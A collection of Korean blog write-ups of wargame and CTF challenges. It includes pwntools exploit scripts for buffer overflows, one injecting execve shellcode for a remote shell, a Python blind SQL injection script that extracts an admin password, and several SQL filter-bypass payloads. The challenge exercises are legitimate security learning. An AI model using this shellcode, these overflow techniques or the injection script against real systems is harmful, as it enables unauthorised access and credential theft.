문제를 file 명령으로 확인해보면 64비트 바이너리임을 확인할 수 있다.

checksec명령으로 적용된 보호기법을 보면 nx 보호기법이 적용되어 있는 것을 확인할 수 있다.

 

ida 헥스레이를 활용하여 사용된 함수들을 보면 다음과 같다.

main 함수
get_poem 함수
get_author 함수
rate_poem 함수
reward 함수

main 함수를 보면 무한루프를 돌고 있고, dword_6024E0이 1000000이 될 경우 무한루프를 탈출하며 reward() 함수를 호출한다.

reward 함수에서는 flag.txt 값을 출력한다.

dword_6024E0의 값을 1000000으로 만들어 주면 될 것 같다.

 

위 함수들에서 bof를 터뜨릴 수 있는 함수는 get_poem 함수와 get_author 함수가 있다. 그러나 get_poem 함수는 gets()함수 호출 후 dword_6024E0을 0으로 초기화 하기 때문에 payload는 get_author 함수의 gets() 함수에 넣어야 할 것 같다.

 

get_author 함수의 어셈 코드는 다음과 같다.

0x6024a0의 위치에 입력을 받는다.

 

main 함수의 비교문을 보면 다음과 같다.

0x6024e0 의 값과 0xf4240(1000000)과 비교를 한다.

 

0x6024a0과 0x6024e0의 offset 차이는 64이다.

따라서 get_author 함수에서 입력값을 64만큼 더미값으로 채우고 1000000을 넣으면 조건문을 만족시킬 수 있을 것 같다.

다음과 같이 익스코드를 작성하면 문제를 해결할 수 있다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3012)

pay = 'A' * 64 + p64(1000000)

p.recvuntil('> ')
p.sendline('AAA')

p.recvuntil('> ')
p.sendline(pay)

p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15

문제 페이지를 확인하면 다음과 같다.

소스 코드를 보면 or, and, substr, = 을 필터링하고 있고, 문제 풀이 조건을 보니 정확한 pw값을 입력해야 문제가 풀리는 것 같다.

다음과 같이 or은 ||로, =은 like로 필터링을 우회할 수 있다.

and도 필터링 되어 있기 때문에 '|| id like 'admin' && length(pw) like 1# 와 같은 쿼리로 숫자를 바꿔가며 패스워드 길이를 알아낼 수 있다.

패스워드 길이를 알아내면 패스워드 길이만큼 반복하며 substr이 필터링 되어 있기 때문에 mid 함수를 이용하여 각 자리수에 해당하는 글자를 가져올 수 있다. mid 함수는 mid(문자, 시작위치, 가져올개수)의 형태로 사용하며 다음과 같다.

'abcd'에서 2번째 문자부터 1개의 문자만 가져왔기 때문에 b를 반환한다.

따라서 '|| id like 'admin' && ascii(mid(pw, 1, 1)) like 97# 과 같은 형식으로 쿼리를 전송하면 mid 함수로 pw의 첫번째 글자를 가져온 값의 아스키코드 값이 97인지 아닌지, 확인할 수 있다.

따라서 패스워드의 길이를 구하고, 각 자리에 해당하는 값이 아스키 코드로 변환했을때 0부터 z까지 인지 확인하고 맞는 값을 차례로 저장하는 코드를 작성하면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
header = {'PHPSESSID''ujpger2natc794e8voh11pdhun'}
 
pw_len = 0
while 1:
    pay = "' || id like 'admin' && length(pw) like {}#".format(pw_len)
    params = {'pw': pay}
    rep = requests.get(url,params=params, cookies=header)
    if "Hello admin" in rep.text:
        break
    pw_len += 1
 
print("[*] Password Length : ", pw_len)
 
pw = ''
for i in range(1, pw_len+1):
    for j in range(48,123):
        pay = "' || id like 'admin' && ascii(mid(pw,{},1)) like {}#".format(i,j)
        params = {'pw': pay}
        rep = requests.get(url, params=params, cookies=header)
        if "Hello admin" in rep.text:
            pw += chr(j)
            break
 
print("[*] Password : ", pw)
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01
[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25

file 명령어로 문제 파일을 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

프로그램을 실행시키면 다음과 같이 입력을 받고 끝난다.

gdb에서 checksec명령으로 적용된 보호기법을 보면 NX, PIE, RELRO보호기법이 적용된 것을 확인할 수 있다.

info func명령으로 함수 목록을 확인하면 다음과 같다.

작성된 함수는 two, print_flag, one, select_func, main 함수 인 것 같다. 

위 함수들을 IDA 헥스레이로 확인하면 다음과 같다.

최종적으로 실행해야 할 함수는 flag.txt를 읽어오는 print_flag()함수인 것 같다.

main 함수에서는 문자열을 입력받고 있고, 입력받은 문자열을 인자로 하여 select_func()함수를 실행하고 있다. 

select_func함수에서는 인자로 받은 문자열이 "one"이면  one함수를 실행한다. 

실제로 바이너리를 실행하고 one을 입력하면 one함수가 실행됨을 확인할 수 있다.

gdb로 select_func함수를 보면 다음과 같다.

select_func+85를 보면 call로 eax를 호출하고있다. select+85에 bp를 걸고 실행하면 다음과 같다.

eax레지스터에 저장된 값은 다음과 같다.

현재 스택에서 입력한 값의 위치와 eax에 저장된 0x56555600의 위치는 다음과 같다.

입력값 시작점과 eax에 저장된 값의 위치는 30바이트 차이나기 때문에 입력값에 30을 넣고 print_flag함수의 주소를 넣으면 될 것 같다. print_flag의 주소는 0x000006d8이다.

파이썬 익스 코드를 작성하고 실행하면 다음과 같다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3007)
p.recvuntil('Which function would you like to call?')

flag_addr = p32(0x000006d8)
pay = 'A'*30 + flag_addr

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23

문제 바이너리를 실행시키면 다음과 같이 입력을 받고, 입력값이 저장된 주소(추측)와 입력값을 출력해주는 것을 확인할 수 있다. y를 입력받으면 다시 입력받고, n을 입력하면 프로그램이 종료된다.

file 명령어로 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

peda에서 checksec 명령으로 적용된 보호기법을 확인해보면 다음과 같다.

NX보호기법도 적용되어 있지 않아서 쉘 코드를 삽입할 수 있을 것 같다.

info func 명령으로 함수 목록을 보면 다음과 같다.

main함수 말고는 따로 작성된 함수는 없는것 같다.

main 함수의 어셈 코드를 보면 다음과 같다.

main+83의 위치에서 scanf 함수로 입력값을 받는 것 같다.

scanf 함수가 실행된 이후인 main+88에 bp를 걸고 실행하여 입력하고 esp레지스터를 확인하면 다음과 같다.

내가 입력한 "AAAAA"는 0xffffd040에 저장되는것을 확인할 수 있다.

그리고 info frame 명령으로 eip에 저장된 값을 확인하면 다음과 같다. eip레지스터는 cpu가 다음 실행할 코드의 주소를 저장하고 있다.

eip가 저장하고 있는 값은 0xf7df4f21이고, 이 주소값은 위 esp레지스터에서 찾아보면 0xffffd0cc에 있다.

0xfffd0cc(다음 실행할 주소)와 0xffffd040(입력된 값이 저장되는 위치)는 10진수로 140만큼 차이가 난다.

따라서 입력값으로 쉘코드를 넣고, 더미값으로 140을 채운 후 입력값이 저장되는 주소를 넣으면 쉘 코드가 실행되어 쉘을 딸 수 있을 것 같다. 입력값이 저장되는 주소는 프로그램을 실행하고 값을 입력하면 주소를 출력해주기 때문에 익스 코드에서는 한번은 임의의 값을 입력하여 입력값이 저장되는 주소를 알아내고, 이후에 쉘 코드를 입력하여 쉘을 실행하도록 할 것이다. 다음과 같이 익스코드를 작성하면 쉘을 딸 수 있다. 쉘코드는 25바이트 리눅스 32비트 쉘코드를 사용하였다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3006)

p.recvuntil('Data : ')
p.sendline('test')
addr = int(p.recv(10),16)
p.recvuntil('Again (y/n): ')
p.sendline('y')
p.recvuntil('Data : ')

shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

pay = shell + 'A'*115 + p32(addr)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] golem  (0) 2021.05.19
[HackCTF] Offset  (0) 2021.05.13
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10

문제를 보면 쿼리 맨 뒤 부분에 and 1=0 이라는 구문이 있어 쿼리가 거짓이 되고 있다. 이 부분을 주석처리를 통해 없애주면 문제를 해결할 수 있을 것 같다. /?pw=' or id='admin'# 이라는 쿼리를 보냈더니 #문자가 들어가지 않아서 #을 헥스값으로 바꾼 %23으로 넣었더니 정상적으로 주석처리가 되며 쿼리가 참이 되서 문제를 해결할 수 있었다.

payload : /?pw=' or id='admin'%23

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06

문제를 보면 str_replace() 함수로 admin 이라는 문자열을 필터링 하고 있다. str_replace() 함수는 해당 문자열 패턴이 있으면 치환하는 것으로 이 문제에서는 admin이라는 문자열을 없는 값으로 치환한다.  adadminmin으로 값을 주면 adadminmin 빨간색 부분이 치환되도, admin 이라는 값이 남아서 필터링을 우회할 수 있다.

payload : /?id=adadminmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03

 

문제를 보면 id 값이 admin이면 문제가 풀리고, 현재 id 값은 guest 이다. preg_match()함수를 통해 싱글쿼터(')와 더블쿼터(")는 모두 필터링 되어 있다.

no 값에 1을 넣어 보면 hello guest가 출력되는 것을 보니 guest의 no 값은 1이다.

싱글 쿼터가 필터링 된 것은 hex값을 이용하여 우회할 수 있다. id 값이 admin이여야 하므로 admin의 hex 값은 0x61646d696e 이다. 

쿼리를 /?no=2 or id=0x61646d696e  로 전송하게 되면 앞에 no 값이 거짓이기 때문에 id값은 admin이 되어 문제를 해결할 수 있다.

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26

Web

[Robots. Yeah, I know, pretty obvious.]

문제를 보니 별 다른 링크는 없었고 설명에 로봇과 관련된 말들이 써 있길래 ctf 페이지의 robots.txt 파일을 확인해 봤다.

해당 파일은 존재 했고 파일에는 다음과 같은 내용들이 있었다.

저 파일들 중 /robot-nurses 파일에 들어가 보니 플래그가 있었다.

flag : rtcp{r0b0t5_4r3_g01ng_t0_t4k3_0v3r_4nd_w3_4r3_s0_scr3w3d}

 

[No Sleep]

문제 페이지에 들어가 보면 시간 카운트다운을 하고 있었다.

그리고 문제 페이지의 쿠키를 확인하면 다음과 같이 어떤 시간을 저장하고 있다.

이 시간이 웹 페이지에 나온 기다려야하는 시간 같으니 저 시간을 현재 시간으로 바꿔주면 플래그가 보인다.

flag : rtcp{w0w_d1d_u_st4y_up?}

 

[Phishing for Flags]

문제를 보면 이메일 압축 파일이 주어지는데 압축 해제하면 메일 파일들이 있다.

메일 파일들을 보면 GIVE ME BACK MY EYEHOLES 라는 파일의 링크를 들어가보면 riceteacatpanda.wtf/phishingemail 링크로 연결되는데 저 페이지 안에 플래그가 있다.

flag : rtcp{r34d_b3f0rE_yOU_C1iCk}

 

[What's in The Box?!]

문제를 보면 박스 이모티콘이 하나 있는데 그 이모티콘을 개발자모드로 확인해보면 a 태그로 javascript 코드가 연결되어 있다. 

이 javascript 코드를 잘 읽어보면 다음과 같이 주석으로 플래그가 나누어져 있다.

 

Cryptography

[Don't Give The GIANt a COOKie]

69acad26c0b7fa29d2df023b4744bf07 이 암호화된 문자열을 md5로 복호화 하면 chocolate mmm 라는 문자열이 나온다. 이 문자열을 플래그 형식으로 제출하면 된다.

flag : rtcp{chocolate mmm}

 

[15]

문제를 보면 다음과 같이 긴 문자열이 존재하고 하단에 플래그로 예측되는 문자열이 있다.

해당 문자열을 빈도분석 기법으로 해독해보면 암호를 해독할 수 있다. 빈도분석은 다음 사이트에서 온라인으로 분석할 수 있다. https://quipqiup.com/

flag : rtcp{c4R3Ful_w1tH_3X1f_d4T4}

 

[Forensics]

[BTS-Crazed]

문제 파일을 보면 음악 파일인데 HxD로 플래그 포맷인 rtcp를 검색해보면 플래그가 나온다.

 

flag : rtcp{j^cks0n_3ats_r1c3}

 

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[Plaid CTF 2013] ropasaurusrex  (0) 2021.08.17
[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

문제를 보면 id가 admin 이어야 한다.

preg_match() 함수를 보면 전 문제들과는 다르게 '(싱글쿼터)와 "(더블쿼터)가 필터링 되어있음을 볼 수 있다.

이는 문자열을 사용할 수 없음을 의미한다.

따라서 hex값으로 admin을 id에 넣으면 문제를 해결할 수 있다.

query : ?no=0 or id=0x61646d696e

 

 

문제 코드를 보면 전 문제와 마찬가지로 preg_match() 함수를 이용하여 특정 문자열들을 필터링하고 있고

id가 admin일때 문제가 풀린다고 한다.

 

id에 admin 값을 넣고 pw를 검증하는 부분을 주석으로 없애면 문제를 해결할 수 있다.

#을 url 인코딩한 %23을 주석으로 사용할 수 있다.

 

query : ?id=admin'%23

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10
[Wargame.kr] tmitter  (0) 2019.09.07

+ Recent posts